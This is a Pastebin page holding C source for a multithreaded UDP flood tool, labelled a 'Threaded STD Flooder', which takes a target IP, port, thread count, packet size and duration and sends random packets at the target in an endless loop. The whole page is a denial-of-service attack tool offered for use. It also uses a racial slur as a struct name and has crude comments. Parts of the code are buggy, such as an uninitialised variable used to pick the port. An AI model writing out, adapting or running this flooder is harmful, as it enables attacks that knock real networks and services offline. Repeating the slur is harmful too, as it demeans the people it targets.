prostate

multistd.c

Apr 24th, 2020
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.24 KB | None | 0 0
  1. /* bangs so hard u might catch n std -#w00dy */
  2.  
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <strings.h>
  6. #include <limits.h>
  7. #include <sys/param.h>
  8. #include <sys/socket.h>
  9. #include <netinet/in.h>
  10. #include <netdb.h>
  11. #include <time.h>
  12. #include <fcntl.h> // open function
  13. #include <pthread.h>
  14. #include <unistd.h> // close function
  15. #include <stdarg.h>
  16. #include <pthread.h>
  17.  
  18. int MaxPsize=2048;
  19.  
  20. static uint32_t x, y, z, w;
  21.  
  22. void rand_init(void)
  23. {
  24. x = time(NULL);
  25. y = getpid() ^ getppid();
  26. z = clock();
  27. w = z ^ y;
  28. }
  29. uint32_t rand_next(void) //period 2^96-1
  30. {
  31. uint32_t t = x;
  32. t ^= t << 11;
  33. t ^= t >> 8;
  34. x = y; y = z; z = w;
  35. w ^= w >> 19;
  36. w ^= t;
  37. return w;
  38. }
  39. void rand_str(char *str, int len) // Generate random buffer (not alphanumeric!) of length len
  40. {
  41. while (len > 0)
  42. {
  43. if (len >= 4)
  44. {
  45. *((uint32_t *)str) = rand_next();
  46. str += sizeof (uint32_t);
  47. len -= sizeof (uint32_t);
  48. }
  49. else if (len >= 2)
  50. {
  51. *((uint16_t *)str) = rand_next() & 0xFFFF;
  52. str += sizeof (uint16_t);
  53. len -= sizeof (uint16_t);
  54. }
  55. else
  56. {
  57. *str++ = rand_next() & 0xFF;
  58. len--;
  59. }
  60. }
  61. }
  62.  
  63. void rand_alphastr(uint8_t *str, int len) // Random alphanumeric string, more expensive than rand_str
  64. {
  65. const char alphaset[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw012345678";
  66.  
  67. while (len > 0)
  68. {
  69. if (len >= sizeof (uint32_t))
  70. {
  71. int i;
  72. uint32_t entropy = rand_next();
  73.  
  74. for (i = 0; i < sizeof (uint32_t); i++)
  75. {
  76. uint8_t tmp = entropy & 0xff;
  77.  
  78. entropy = entropy >> 8;
  79. tmp = tmp >> 3;
  80.  
  81. *str++ = alphaset[tmp];
  82. }
  83. len -= sizeof (uint32_t);
  84. }
  85. else
  86. {
  87. *str++ = rand_next() % (sizeof (alphaset));
  88. len--;
  89. }
  90. }
  91. }
  92.  
  93. struct kekspackniggas {
  94. int payload_size;
  95. struct sockaddr_in sin;
  96. int sock;
  97. };
  98.  
  99. void *woodyDaGoat(void *data){
  100. struct kekspackniggas *hi=(struct kekspackniggas *)data;
  101. struct sockaddr_in sin=hi->sin;
  102. char *payload=malloc(hi->payload_size+1);
  103. int i;
  104. srand(time(NULL));
  105. for(i=0;i<hi->payload_size;i++)payload[i]=rand()%850;
  106. while(1){
  107. char name_buf[32];
  108. int name_buf_len;
  109. rand_init();
  110. name_buf_len = ((rand_next() % 4) + 3) * 4;
  111. rand_alphastr(name_buf, name_buf_len);
  112. name_buf[name_buf_len] = 0;
  113. char *haxed = name_buf;
  114. send(hi->sock, haxed, hi->payload_size, 0);
  115. connect(hi->sock,(struct sockaddr *) &sin, sizeof(sin));
  116. }
  117. }
  118.  
  119. int main(int argc, char**argv){
  120.  
  121. if(argc!=6){
  122. printf("Threaded STD Flooder \n Woody Loves You! \n Usage: %s <IP> <PORT 0 for random> <THREADS> <PSIZE> <TIME>\n", argv[0]);
  123. exit(1);
  124. }
  125. if (atoi(argv[4]) > MaxPsize)
  126. {
  127. printf("Lower the packet size\nMax size: 2048\n");
  128. exit(1);
  129. }
  130. int randxport;
  131. int sock=socket(AF_INET,SOCK_DGRAM,0);
  132. struct sockaddr_in sin;
  133.  
  134. bzero((char*) &sin,sizeof(sin));
  135. struct hostent *hp = gethostbyname(argv[1]);
  136. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  137. sin.sin_family = hp->h_addrtype;
  138. sin.sin_addr.s_addr=inet_addr(argv[1]);
  139. uint32_t tmp;
  140. uint8_t o1;
  141. o1 = (tmp >> 8) & 0xff;
  142. int kek2;
  143. if (atoi(argv[2]) == 0) kek2 = o1;
  144. else kek2 = atoi(argv[2]);
  145. printf("%d\n", kek2);
  146. sin.sin_port=htons(kek2);
  147. pthread_t thread[atoi(argv[3])];
  148. struct kekspackniggas kek[atoi(argv[3])];
  149. int i;
  150. for(i=0;i<atoi(argv[3]);i++){
  151. printf("\e[31;1mStarting \e[32;1mThread\e[0;1m\n");
  152. kek[i].payload_size=atoi(argv[4]);
  153. kek[i].sin=sin;
  154. kek[i].sock=sock;
  155. pthread_create(&thread[i],NULL,&woodyDaGoat,(void *) &kek[i]);
  156. }
  157. sleep(atoi(argv[5]));
  158. return 0;
  159. }
Advertisement
Add Comment
Please, Sign In to add comment